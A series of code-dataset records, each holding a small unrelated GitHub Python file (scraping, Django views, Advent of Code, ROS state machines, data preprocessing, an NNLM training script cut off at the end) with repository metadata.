time.sleep(3)\n\n\nprint(resp) # 打印请求结果的状态码\nprint(resp.content) # 打印请求到的网页源码\n\nbsobj = BeautifulSoup(resp.content, 'lxml') # 将网页源码构造成BeautifulSoup对象,方便操作\n\n\nulist = []\ntrs = bsobj.find_all('tr')\nfor tr in trs:\n ui = []\n for td in tr:\n ui.append(td.string)\n ulist.append(ui)\n\n\nend = 0\n\n\n\n\"\"\"\n#tr1_1744252 > td:nth-child(2) > a > font\n#tr1_1754624 > td:nth-child(2) > a > font\n\"\"\"","repo_name":"xiaohuilangss/SandPlate","sub_path":"Demo/mycode/Demo1.py","file_name":"Demo1.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5203096666","text":"from django.urls import re_path, path\nfrom .views import UserView, UsersView, UserOrganizerView\n\napp_name = 'users'\n \nurlpatterns = [\n path('', UsersView.as_view(), name='usersView'),\n re_path('organizer/(?P[a-zA-Z0-9\\_\\-\\.]+)/?$', UserOrganizerView.as_view(), name='userOrganizerView'),\n re_path('user/(?P[a-zA-Z0-9\\_\\-\\.]+)/?$', UserView.as_view(), name='userView'),\n]\n","repo_name":"petrut22/FestivalWatch-backend","sub_path":"backend/api/modules/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35168359735","text":"#%%\nfrom functools import cache\nfrom statistics import median\n\nwith open(\"input.txt\", \"r\", encoding=\"utf-8\") as f:\n data = set(eval(f\"({s})\") for s in f.read().splitlines())\n\nmin_x = min(x for (x, _, _) in data) - 5\nmin_y = min(y for (_, y, _) in data) - 5\nmin_z = min(z for (_, _, z) in data) - 5\nmax_x = max(x for (x, _, _) in data) + 5\nmax_y = max(y for (_, y, _) in data) + 5\nmax_z = max(z for (_, _, z) in data) + 5\nmedian_y = median(y for (_, y, _) in data)\nmedian_z = median(z for (_, _, z) in data)\n\ntarget = (min_x + 1, min_y + 1, min_z + 1)\n\ncan_go_out: set[tuple[int, int, int]] = set()\ncannot_go_out: set[tuple[int, int, int]] = set()\n\n\ndef find_way_out(x: int, y: int, z: int) -> bool:\n global can_go_out\n global cannot_go_out\n\n if (x, y, z) in can_go_out:\n return True\n if (x, y, z) in cannot_go_out:\n return False\n\n visited: set[tuple[int, int, int]] = set()\n frontier: set[tuple[int, int, int]] = {(x, y, z)}\n while frontier:\n cur_pos = frontier.pop()\n x, y, z = cur_pos\n if cur_pos == target:\n can_go_out |= visited\n return True\n\n if cur_pos not in data:\n visited.add(cur_pos)\n\n variations = [\n (x - 1, y, z),\n (x + 1, y, z),\n (x, y + 1, z),\n (x, y - 1, z),\n (x, y, z + 1),\n (x, y, z - 1),\n ]\n for new_pos in variations:\n i, j, k = new_pos\n if i > max_x:\n continue\n if i < min_x:\n continue\n if j > max_y:\n continue\n if j < min_y:\n continue\n if k > max_z:\n continue\n if k < min_z:\n continue\n if new_pos in visited:\n continue\n if new_pos in data:\n continue\n frontier.add(new_pos)\n cannot_go_out |= visited\n return False\n\n\ndef find_outside_faces(counting_inside: bool):\n outside_faces = 0\n for (i, j, k) in data:\n # left\n if (i - 1, j, k) not in data and (counting_inside or find_way_out(i - 1, j, k)):\n outside_faces += 1\n # right\n if (i + 1, j, k) not in data and (counting_inside or find_way_out(i + 1, j, k)):\n outside_faces += 1\n # down\n if (i, j - 1, k) not in data and (counting_inside or find_way_out(i, j - 1, k)):\n outside_faces += 1\n # up\n if (i, j + 1, k) not in data and (counting_inside or find_way_out(i, j + 1, k)):\n outside_faces += 1\n # bottom\n if (i, j, k - 1) not in data and (counting_inside or find_way_out(i, j, k - 1)):\n outside_faces += 1\n # top\n if (i, j, k + 1) not in data and (counting_inside or find_way_out(i, j, k + 1)):\n outside_faces += 1\n return outside_faces\n\n\nprint(\"Part 1: \", find_outside_faces(True))\nprint(\"Part 2: \", find_outside_faces(False))\n","repo_name":"LarsZondag/AdventOfCode","sub_path":"2022/day18/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71286899425","text":"# Load tornado module\nfrom tornado.web import Application, RequestHandler\nfrom tornado.ioloop import IOLoop\n\n# URL request handler\nclass HelloHandler(RequestHandler):\n def get(self):\n self.write({'message': 'hello world'})\n\n# define end points\ndef make_app():\n urls = [(\"/\", HelloHandler)]\n return Application(urls)\n\n# Start server\nif __name__ == '__main__':\n app = make_app()\n app.listen(3000)\n IOLoop.instance().start()\n","repo_name":"bearbur/tornado-electron","sub_path":"server/simple-app.py","file_name":"simple-app.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3934767141","text":"# Ask the user for a string and print out whether this string is \n# a palindrome or not. (A palindrome is a string that reads the \n# same forwards and backwards.)\nmystring = input()\nfor i in range(len(mystring) // 2):\n if mystring[i] != mystring[- 1 - i]:\n print('Not Palindrome')\n break\nelse:\n print('Palindrome')\n\n\nstring = \"Hello\"\ni = 0\nfor ch in range(len(string)):\n if (string[i] != string[-1-i]):\n print('Not Palindrome')\n break \n else:\n print(\"Pelindrom\") \n break\n\n\ndef reverse(word):\n\tx = ''\n\tfor i in range(len(word)):\n\t\tx += word[len(word)-1-i]\n\t\treturn x\n\nword = input('give me a word:\\n')\nx = reverse(word)\nif x == word:\n\tprint('This is a Palindrome')\nelse:\n\tprint('This is NOT a Palindrome')","repo_name":"mahtab04/Python-Programming-Practice","sub_path":"Day5/q20.py","file_name":"q20.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"1573035815","text":"from collections.abc import Mapping, Sequence\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data.dataloader import default_collate\n\nfrom .data_container import DataContainer\n\n\ndef collate(batch: Sequence, samples_per_gpu: int = 1):\n \"\"\"Puts each data field into a tensor/DataContainer with outer dimension\n batch size.\n\n Extend default_collate to add support for\n :type:`~mmcv.parallel.DataContainer`. There are 3 cases.\n\n 1. cpu_only = True, e.g., meta data\n 2. cpu_only = False, stack = True, e.g., images tensors\n 3. cpu_only = False, stack = False, e.g., gt bboxes\n \"\"\"\n # 已看過,這個函數會作為dataloader的collect_fn\n\n # batch = list[dict],list的長度就會是batch_size,裏面的dict資料就會是每張圖像的詳細資訊(在第一次進入到collate時的傳入內容)\n if not isinstance(batch, Sequence):\n # 檢查傳入的batch是否合法\n raise TypeError(f'{batch.dtype} is not supported.')\n\n if isinstance(batch[0], DataContainer):\n # 構建stacked的存放位置\n stacked = []\n if batch[0].cpu_only:\n # 這裡會進行遍歷,我們會以一個gpu的batch_size為單位\n for i in range(0, len(batch), samples_per_gpu):\n stacked.append(\n # 將一個gpu的batch_size丟入到stacked當中\n [sample.data for sample in batch[i:i + samples_per_gpu]])\n # stacked = list[list[dict]]\n # 最後回傳的是DataContainer實例對象\n return DataContainer(\n stacked, batch[0].stack, batch[0].padding_value, cpu_only=True)\n elif batch[0].stack:\n # 可以進行堆疊的資料會進入到這裡\n # 遍歷batch當中的資料\n for i in range(0, len(batch), samples_per_gpu):\n # 檢查batch當中的data需要是tensor這樣才可以進行堆疊\n assert isinstance(batch[i].data, torch.Tensor)\n\n if batch[i].pad_dims is not None:\n # 如果有設定pad_dims就會進來\n # ndim = 獲取batch當中訓練圖像的ndim,如果是2d圖像就會是3(channel, height, width)\n ndim = batch[i].dim()\n # 如果pad_dims大於ndim就會報錯,pad_dims表示padding的維度有多少個,在2d圖中就是高寬兩個\n assert ndim > batch[i].pad_dims\n # 構建出max_shape列表,長度就是pad_dims且預設值為0\n max_shape = [0 for _ in range(batch[i].pad_dims)]\n # 將max_shape進行給值,max_shape的值就會是圖像的高寬\n for dim in range(1, batch[i].pad_dims + 1):\n # 這裡用-dim是因為最前面會是channel\n # 第一次取-1就是取width,第二次取-2就是height(資料為2d圖像時)\n max_shape[dim - 1] = batch[i].size(-dim)\n # 遍歷一個gpu的batch_size\n for sample in batch[i:i + samples_per_gpu]:\n for dim in range(0, ndim - batch[i].pad_dims):\n # 一個batch當中除了可以padding部分以外其他的深度必須要相同,所以會在這裡進行檢查\n assert batch[i].size(dim) == sample.size(dim)\n for dim in range(1, batch[i].pad_dims + 1):\n # 將max_shape變成整個batch當中最大的高寬,也就是最後所有的圖像會透過padding變成max_shape的高寬\n # 所以需要先找到高寬的最大值\n max_shape[dim - 1] = max(max_shape[dim - 1],\n sample.size(-dim))\n # padded_samples = padding完成的圖像tensor會紀錄在這裡\n padded_samples = []\n # 遍歷一個gpu的batch_size\n for sample in batch[i:i + samples_per_gpu]:\n # 構建出一個pad列表,長度為pad_dims的兩倍且預設都為0\n pad = [0 for _ in range(batch[i].pad_dims * 2)]\n # 透過最大的高寬減去當前圖像的高寬就會知道需要填充多少,存到pad當中\n for dim in range(1, batch[i].pad_dims + 1):\n pad[2 * dim -\n 1] = max_shape[dim - 1] - sample.size(-dim)\n padded_samples.append(\n # 將圖像進行padding,讓每個tensor最終的高寬會相同,這樣才可以進行堆疊\n F.pad(\n sample.data, pad, value=sample.padding_value))\n # 透過default_collate將padded_samples傳入\n # 出來的就會是堆疊好的tensor,shape [batch_size, channel, height, width]\n stacked.append(default_collate(padded_samples))\n elif batch[i].pad_dims is None:\n stacked.append(\n default_collate([\n sample.data\n for sample in batch[i:i + samples_per_gpu]\n ]))\n else:\n raise ValueError(\n 'pad_dims should be either None or integers (1-3)')\n\n else:\n for i in range(0, len(batch), samples_per_gpu):\n stacked.append(\n [sample.data for sample in batch[i:i + samples_per_gpu]])\n return DataContainer(stacked, batch[0].stack, batch[0].padding_value)\n elif isinstance(batch[0], Sequence):\n transposed = zip(*batch)\n return [collate(samples, samples_per_gpu) for samples in transposed]\n elif isinstance(batch[0], Mapping):\n # 如果組成的方式是Mapping就會到這裡來\n return {\n # 遍歷batch[0]當中的內容同時也遍歷batch,也就是會將一個照片的某個資訊先堆疊起來(Ex:第一次先對img_metas堆疊)\n key: collate([d[key] for d in batch], samples_per_gpu)\n for key in batch[0]\n }\n else:\n return default_collate(batch)\n","repo_name":"chris901003/DeepLearning","sub_path":"mmcv/mmcv/parallel/collate.py","file_name":"collate.py","file_ext":"py","file_size_in_byte":6336,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"30233108141","text":"# this script extract cifar batch files to a folder with .jpg\nimport numpy as np\nfrom pathlib import Path\n#from skimage import color\n#from scipy.ndimage import gaussian_filter\nfrom extract_cifar10 import *\n#from data_utils import *\nimport scipy.misc\n#from matplotlib.pyplot import imread\n\npath = str(Path().absolute())\npath += '/cifar-10-python/cifar-10-batches-py/'\nprint('\\n',path)\nno_of_batches = 5\ntrain_rgb, train_labels, test_rgb, test_labels = load_cifar10_data(path, no_of_batches)\n#tiny_ndarray = train_rgb[0:10,:,:,:]\n\nfile1 = open(\"train_names.txt\",\"w\")\nfile2 = open(\"valid_names.txt\",\"w\")\nL1 = []\nL2 = []\n\nfor i in range(0, len(train_rgb)):\n\tif (i+1)%1000 == 0:\n\t\tprint((i+1), ' training images saved')\n\tfile_name = '{}_train_image.jpg\\n'.format(i)\n\tL1.append(file_name)\n\tscipy.misc.imsave('cifar-10/{}_train_image.jpg'.format(i), train_rgb[i,:,:,:])\n\nfor i in range(0, len(test_rgb)):\n\tif (i+1)%1000 == 0:\n\t\tprint((i+1), ' testing images saved')\n\tfile_name = '{}_test_image.jpg\\n'.format(i)\n\tL2.append(file_name)\n\tscipy.misc.imsave('cifar-10/{}_test_image.jpg'.format(i), test_rgb[i,:,:,:])\n\nfile1.writelines(L1) \nfile2.writelines(L2) \nfile1.close() #to change file access modes \n","repo_name":"cerendikmen/colorization","sub_path":"foamliu/extract_to_jpg.py","file_name":"extract_to_jpg.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"11645415324","text":"import os\nfrom scipy.io import loadmat\nimport numpy as np\nimport glob\nimport json\n\ndef ivt_mod(coords, freq=240, min_dist=20, v_threshold=10):\n \"\"\"\n Detects fixations from a series of raw gaze points (x,y) captured at particular frequency (freq) using the \n velocity thresholding (v_threshold) method.\n\n Inspired from https://github.com/ecekt/eyegaze/blob/951f24d028fabca10cf329cd4c505a67c7377e6f/gaze.py#L16\n\n Arguments:\n coords - coordinates (x,y) of gaze point on image\n freq - frequency at which gaze points were captured (depends on the instrument used)\n min_dist - minimum pixel distance between each fixation. If fixations lie closer than min_dist, they\n are merged into a single fixation\n v_threshold - each gaze point having lesser velocity than v_threshold is considered as part of a fixation\n \n Returns:\n fixation - list of fixation coords [fy,fx]\n duration - list of durations for each fixation in ms\n \n \"\"\"\n coords = np.array([c for c in coords if c[0] > 0 and c[1] > 0]) # removing ineligible gaze points\n x, y = coords[:,0], coords[:,1]\n \n # taking the index at which each gaze point was recorded as time\n times = np.array([ t for t in range(len(x)) ]) \n\n difX = []\n difY = []\n tdif = []\n\n for i in range(len(x) - 1):\n difX.append(x[i+1] - x[i])\n difY.append(y[i+1] - y[i])\n tdif.append(times[i+1] - times[i])\n\n dif = np.sqrt(np.power(difX,2) + np.power(difY,2)) #in pix\n velocity = dif / tdif\n \n # First pass: Applying velocity thresholding to identify fixations\n # All of the fixation clusters are identified and then their centroid is considered as the fixation point\n fixs = []\n durs= []\n fs = []\n fx, fy, t0, r = x[0], y[0], 0, 0\n # print(f'starting from: ({fx:.2f}, {fy:.2f}) at t = {t0}')\n for i, v in enumerate(velocity):\n #print(f'\\ni: {i} v: {v:.2f}')\n if v < v_threshold:\n # fixation\n # print(f'({x[i]:.2f}, {y[i]:.2f}) is a fixation',end=\" | \")\n if r == 0:\n t0 = times[i]\n fx = (fx*r + x[i])/(r+1)\n fy = (fy*r + y[i])/(r+1)\n r += 1\n # print(f'after averaging: ({fx:.2f}, {fy:.2f}) r = {r}')\n else:\n # rint(f'({x[i]:.2f}, {y[i]:.2f}) is not a fixation')\n t1 = times[i]\n dur = t1 - t0\n if dur > 5:\n fixs.append([fy, fx])\n durs.append(dur)\n # print(f'appending fixation: ({fx:.2f}, {fy:.2f}) with duration: {dur:.2f}')\n fx, fy, t0, r = x[i], y[i], times[i], 0\n \n if len(fixs) == 0:\n return [], []\n # print(f'After first pass:\\nfixs: {fixs}\\ndurs: {durs}')\n # Second pass: Iterating through fixations and merging the fixations that are too close\n fixation = []\n duration = []\n fixy, fixx = fixs[0]\n # print(f'\\nstarting from: ({fixx:.2f}, {fixy:.2f})')\n dur = 0\n r = 1\n for (fy, fx), t in zip(fixs, durs):\n # print(f'\\nchecking ({fx:.2f}, {fy:.2f}) with dur = {t}')\n if abs(fixy - fy) < min_dist and abs(fixx - fx) < min_dist:\n # print('too close | ',end='')\n fixx = (fixx*r + fx)/(r+1)\n fixy = (fixy*r + fy)/(r+1)\n dur += t\n r += 1\n # print(f'after merging: ({fixx:.2f}, {fixy:.2f}) dur = {t}. r= {r}')\n else:\n if r != 1:\n # print(f'appending merged fixation: ({fixx:.2f}, {fixy:.2f}) with dur = {dur}')\n fixation.append([round(fixy,2), round(fixx,2)])\n duration.append(dur)\n \n # print(f'({fx:.2f}, {fy:.2f}) is not close to anyone, hence merging')\n fixation.append([round(fy, 2), round(fx)])\n duration.append(t) \n \n fixy, fixx = fy, fx\n dur = 0\n r = 1\n \n if r == 0:\n fixation.append(fixs[-1])\n duration.append(durs[-1])\n \n duration = [round((float(t)/freq)*1000,2) for t in duration] # changing duration in ms\n return fixation, duration\n\n# creating a view_dict = {person : [list of viewings (.mat files) by this person]}\nroot_dir = 'DATA/DATA/'\npersons = [p for p in os.listdir(root_dir) if not (p.endswith('.mat') or p.endswith('.data') or p == '.DS_Store')]\nview_dict = {p: os.listdir(os.path.join(root_dir, p)) for p in persons} \n\n# creating an anno dict where keys are the names of all stimuli images and value is a dictionary of fixations and durations\nim_dir = 'ALLSTIMULI/ALLSTIMULI/'\nanno_dict = {im[:-5]: {'fixations': [], 'durations': []} for im in os.listdir(im_dir)}\n\n# iterating through all viewings by each person and extracting fixations and durations using ivt_mod() and storing it in anno_dict\n# lots of try-except used to handle peculiar edge cases of this datatset\nfor person, matFiles in view_dict.items():\n for file in matFiles:\n im_name = file[:-4]\n mat_path = f'{root_dir}{person}/{file}'\n try:\n m = loadmat(mat_path)\n except:\n #print(f'unable to load {mat_path}')\n continue\n global coords\n try:\n coords = m[im_name][0][0][4][0][0][2]\n except:\n # image name is present partially in the matlab file [probable error from the creators of dataset]\n im_key = list(m.keys())[3] # key in matlab file\n matching_names = list(glob.glob(f'ALLSTIMULI/ALLSTIMULI/{im_key}*'))\n if len(matching_names) == 1: # if a single image matches im_key\n #print(f'sucessfully found a single im for {im_key}')\n try:\n coords = m[im_key][0][0][4][0][0][2]\n except:\n # another weird issue of different indexing for particular files\n coords = m[im_key][0][0][0][0][0][2]\n \n else:\n #print(f'unable to find a single im_name for {im_key}')\n #print(f'matched names: {matching_names}')\n continue\n \n fixation, duration = ivt_mod(coords, freq=240, min_dist=20, v_threshold=10)\n if len(fixation) != 0 and len(duration) != 0:\n anno_dict[im_name]['fixations'].append(fixation)\n anno_dict[im_name]['durations'].append(duration)\n\n# cleaning annotations: removing im name keys for which no fixations were found\nfinal_dict = {}\nfor im, d in anno_dict.items():\n fix = d['fixations']\n dur = d['durations']\n if len(fix) != 0:\n final_dict[im] = {'fixations': fix, 'durations': dur}\n\n# saving annotations in a JSON file\nwith open('MIT1003_annotations.json', 'w') as fp:\n json.dump(final_dict, fp)","repo_name":"m-abbas-ansari/ASD-Classification","sub_path":"Data Preprocessing/MIT1003/MIT1003-extract-annotations.py","file_name":"MIT1003-extract-annotations.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"1658712406","text":"\nn = int(input())\nlists = []\nfor i in range(n):\n lists.append(input())\n\n\ndef pronounce(lists):\n answer = []\n for i in range(len(lists[0])):\n letter = \"?\"\n flag = False\n for j in lists:\n if letter == \"?\" and j[i] != \"?\":\n letter = j[i]\n elif letter != \"?\" and j[i] != \"?\" and letter != j[i]:\n letter = \"?\"\n flag = True\n break\n if flag:\n answer.append(\"?\")\n elif letter == \"?\":\n answer.append(\"x\")\n else:\n answer.append(letter)\n\n print(\"\".join(answer))\n\n\npronounce(lists)\n","repo_name":"fikreanteneh/competitive-programming","sub_path":"#01.contest/D_Pattern.py","file_name":"D_Pattern.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"6468669130","text":"from random import randint\n\nfrom django.db.models import Q\nfrom django.shortcuts import render\nfrom django.utils.translation import ugettext_lazy as _\nfrom rest_framework import generics, permissions, request, status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom accounts.views import queryset_paginator\nfrom cart.models import Cart\nfrom driver.models import Driver\nfrom seller.views import get_distance\n\nfrom .models import *\nfrom .serializers import *\n\n\n# return random l number\ndef randomized_code(l):\n range_start = 10 ** (l - 1)\n range_end = (10 ** l) - 1\n return randint(range_start, range_end)\n\n\nclass Checkout(APIView):\n def post(self, request):\n try:\n cart = Cart.objects.get(cart_owner=request.user, cart_status='not_checkout')\n except:\n return Response(\"error\", status=status.HTTP_400_BAD_REQUEST)\n\n order_sellers=[] \n sub_total = 0.0\n delivery_fee = 0.0\n distances = []\n prices = 0.0\n try:\n user_location = request.user.locations.get(is_default=True)\n except:\n return Response({\"error\":_(\"You must enter location to calculate delivery fee\")},status=status.HTTP_400_BAD_REQUEST)\n for item in cart.items.all():\n order_sellers.append(item.product.seller)\n prices = prices + item.product.price\n quantity = item.product.quantity - item.quantity\n if quantity >= 0:\n if quantity == 0:\n item.product.available = False\n item.product.quantity = quantity\n item.product.save()\n else:\n return Response({\"error\": _(f\"Sorry, the available quantity in the stock is {item.product.quantity}\")}, status=status.HTTP_400_BAD_REQUEST)\n try:\n distances.append(get_distance(item.product.location.lat, item.product.location.lon, user_location.lat, user_location.lon))\n distance = max(distances)\n except:\n distance = 0.0\n request.data.update({\"order_owner\":request.user.id})\n request.data.update({\"orderID\":randomized_code(6)})\n request.data.update({\"location\": request.user.locations.get(is_default=True).id})\n request.data.update({\"sub_total\":prices})\n request.data.update({\"total\":prices+ (distance*3)})\n json_response = dict()\n serializer = OrderSerializer(data=request.data)\n if serializer.is_valid():\n request.data.update({\"order_owner\": request.user})\n request.data.update({\"location\": request.user.locations.get(is_default=True)})\n order = serializer.create(request.user, cart.id, validated_data=request.data)\n \n for seller in order_sellers:\n order.seller.add(seller)\n\n json_response['items'] = serializer.data\n json_response['delivery_fee'] = f'{distance*3} KWD'\n json_response['sub_total'] = f'{prices} KWD'\n json_response['total_amount'] = f'{prices+ (distance*3)} KWD'\n return Response(json_response)\n return Response(serializer.errors,status=status.HTTP_400_BAD_REQUEST)\n\n \n\nclass CustomerOrders(APIView):\n def get(self, request):\n orders = Order.objects.filter(order_owner=request.user)\n page = request.GET.get(\"page\", 1)\n queryset, number = queryset_paginator(orders, page)\n serializer = CustomerOrderSerializer(queryset, many=True)\n return Response({\"list\":serializer.data})\n\nclass SellerOrder(APIView):\n def get(self, request, pk):\n order = Order.objects.get(pk=pk, seller=request.user)\n serializer = OrderDetailSerializer(order)\n return Response({\"detail\": serializer.data})\n\nclass OrderDetail(APIView):\n def get(self, request, pk):\n order = Order.objects.get(pk=pk,order_owner=request.user)\n serializer = OrderDetailSerializer(order)\n return Response({\"detail\": serializer.data})\n\nclass AssignDriver(APIView):\n def post(self, request):\n try:\n order = Order.objects.get(cart_ptr_id=request.data.get('order_id'), seller=request.user)\n \n\n driver = Driver.objects.get(user_ptr_id=request.data.get('driver_id'))\n if not driver.seller_id.id == request.user.id:\n return Response({\"error\": \"This driver is not assigned to you\"}, status=status.HTTP_401_UNAUTHORIZED)\n order.driver = driver\n order.save()\n return Response({\"detail\":\"Driver Assigned to the order successfully\"})\n except:\n return Response(\"error\",status=status.HTTP_401_UNAUTHORIZED)\n","repo_name":"malabdullah89/EstiloProject","sub_path":"order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40513395063","text":"import db_service, api_os, send_msg\nimport time, datetime\n\n\nwhile True:\n user = db_service.get_users_for_update()\n if user:\n print(user)\n current_price = api_os.get_price(user[2])\n timestamp = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n if current_price % user[3] > user[3] * (user[4] / 100):\n message = 'Price for {} was chnaged, from {} to {}'.format(user[2], user[3], current_price)\n send_msg.send_msg(user[0], message)\n print(user[0], user[2], current_price)\n db_service.update_record(user[0], user[2], current_price, timestamp)\n time.sleep(15)","repo_name":"chaandrey/telegram_bot_os","sub_path":"monitor_price.py","file_name":"monitor_price.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"881076301","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun June 29 20:00:00 2014\n\n@author: Chang Long Zhu\n@email: changlongzj@gmail.com\n\n\"\"\"\n\n\nimport rospy\nimport actionlib\nimport smach\nimport smach_ros\n\nfrom smach_ros.simple_action_state import SimpleActionState\n\nfrom object_states.search_object import SearchObjectSM\nfrom object_grasping_states.pick_object_sm import pick_object_sm\n\nimport time\n\nclass prepare_grasp(smach.State):\n def __init__(self):\n smach.State.__init__(self, \n outcomes=['succeeded', 'aborted'],\n input_keys=['object_position'],\n output_keys=['object_position'])\n def execute(self, userdata):\n userdata.object_position = userdata.object_position\n return 'succeeded'\n \nclass object_detection_and_grasping_sm(smach.StateMachine):\n def __init__(self):\n smach.StateMachine.__init__(self, \n outcomes=['succeeded', \n 'aborted', \n 'preempted', \n 'fail_object_detection',\n 'fail_object_grasping'], \n input_keys=['object_name', 'time_out_grasp'],\n output_keys=['standard_error', 'object_detected_name'])\n \n with self:\n self.userdata.object_detected_name = ''\n \n smach.StateMachine.add('Search_Object',\n SearchObjectSM(),\n transitions={'succeeded':'Grasp_object', \n 'aborted':'fail_object_detection', \n 'preempted':'preempted'})\n smach.StateMachine.add('Prepare_Grasp',\n prepare_grasp(),\n transitions={'succeeded':'Grasp_object',\n 'aborted':'aborted'})\n smach.StateMachine.add('Grasp_object',\n pick_object_sm(),\n transitions={'succeeded':'succeeded',\n 'aborted':'fail_object_grasping',\n 'preempted':'preempted'})\n \ndef main():\n rospy.init_node('Detect_and_Grasp_node')\n\n sm = smach.StateMachine(outcomes=['succeeded', 'preempted', 'aborted', 'fail_object_grasping','fail_object_detection'])\n \n with sm:\n sm.userdata.object_name = \"Barritas\"\n smach.StateMachine.add('Detect_and_Grasp',\n object_detection_and_grasping_sm(),\n transitions={\n 'succeeded': 'succeeded', \n 'aborted': 'aborted', \n 'fail_object_grasping':'fail_object_grasping',\n 'fail_object_detection':'fail_object_detection'})\n \n sis = smach_ros.IntrospectionServer(\n 'robocup_instrospection', sm, '/SM_ROOT')\n sis.start()\n \n sm.execute()\n \n rospy.spin()\n sis.stop()\n \nif __name__ == '__main__':\n main()\n ","repo_name":"reem-utils/robocup2014","sub_path":"basic_states/object_grasping_states/src/object_grasping_states/object_detection_and_grasping.py","file_name":"object_detection_and_grasping.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"13585160969","text":"# 조교의 성적 매기기 D2\n\n# 학생들 각각의 총점을 구해서 리스트에 넣고\n# N(학생수) / 10 = ?명의 학생들에게 동일한 평점을 부여함\n\nscore = [\"A+\", \"A0\", \"A-\", \"B+\", \"B0\", \"B-\", \"C+\", \"C0\", \"C-\", \"D0\"]\nT = int(input()) # 테스트 케이스 개수 : 10\n\nfor t in range(1, T+1): # T loop 10 times\n # 학생수 N 과, 학점을 알고싶은 학생의 번호 K\n N, K = map(int, input().split())\n\n total_list = [] # 학생마다 총점 배열에 저장할 total_list\n for _ in range(N): # students loop N times\n mid, final, assi = map(int, input().split())\n # 총점 구하는 식\n total = (mid * 0.35) + (final * 0.45) + (assi * 0.2)\n total_list.append(total)\n # total_list = [74.6, 92.55000000000001, 88.8, 99.45, 72.35, 85.85000000000001, 96.25, 68.95, 85.5, 85.75]\n\n # k번 학생의 인덱스 구해서 k번학생의 총점 구하기\n k_score = total_list[K-1] # k가 2일때 인덱스는 2-1해줘야 위치를 찾음\n # 92.55000000000001\n\n # sort만 하면 오름차순인데\n # 문제에서 '10 개의 평점을 총점이 높은 순서대로 부여'한다고 명시\n # 평점을 내림차순으로 정렬\n total_list.sort(reverse=True)\n # print(total_list)\n\n # N 명의 학생이 있을 경우 N/10 명의 학생들에게 동일한 평점을 부여\n same_total = N // 10 # 1\n\n # k번째 학생의 총점으로 index 위치 찾고\n # 그 위치와 same_total을 나누기\n k_final = total_list.index(k_score) // same_total\n # 2 // 1 == 2\n\n # k번째 학생의 학점\n print(f'#{t} {score[k_final]}')\n\n\n# 코드로 구현하는 것보다 문제를 이해하는데 시간을 너무 많이 소비한 문제..\n","repo_name":"m8nsk8m/Algorithm-Test-03","sub_path":"2200026/1983.py","file_name":"1983.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"ko","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"42344685334","text":"# import torchtext\nimport torch\n# from typing import Tuple\nimport matplotlib.pyplot as plt\n\nfrom vocabBuilder import build_vocab # yield_tokens,\n# import math\nimport time\nfrom nltk.util import ngrams\nfrom tqdm import tqdm\nfrom NNLM_Model import NNLM\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom torch.utils.data import DataLoader\nfrom torchtext.data.utils import get_tokenizer\nimport pickle\nimport io\nimport argparse\n\n# ===========================================================================================================================\n\n# Create the parser\nparser = argparse.ArgumentParser()\n# Add an argument\nparser.add_argument('--lang', type=str, required=True)\nparser.add_argument('--model_number', type = str, required=True)\n# Parse the argument\nargs = parser.parse_args()\n\n# ===========================================================================================================================\n# Mention Device...\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nif args.lang == \"ENGLISH\":\n path = \"./data/europarl-corpus/\"\n # Construct tokenizer\n en_tokenizer = get_tokenizer('spacy', language='en_core_web_sm')\n # Define FilePaths...\n train_filepaths = path+\"train.europarl\"\n # Build Vocabulary...\n en_vocab = build_vocab(train_filepaths, en_tokenizer)\n # Save the Vocabulary\n with open(path+\"en_vocab.pkl\", \"wb\") as f:\n pickle.dump(en_vocab, f)\n PAD_IDX = en_vocab['']\n BOS_IDX = en_vocab['']\n EOS_IDX = en_vocab['']\n VOCAB_SIZE = len(en_vocab)\nelif args.lang == \"FRENCH\":\n path = \"./data/news-crawl-corpus/\"\n # Construct tokenizer\n fr_tokenizer = get_tokenizer('spacy', language='fr_core_news_sm')\n # Define FilePaths...\n train_filepaths = path+\"train.news\"\n # Build Vocabulary...\n fr_vocab = build_vocab(train_filepaths, fr_tokenizer)\n # Save the Vocabulary\n with open(path+\"fr_vocab.pkl\", \"wb\") as f:\n pickle.dump(fr_vocab, f)\n PAD_IDX = fr_vocab['']\n BOS_IDX = fr_vocab['']\n EOS_IDX = fr_vocab['']\n VOCAB_SIZE = len(fr_vocab)\nelse:\n raise ValueError(\"Please ENter Correct Language 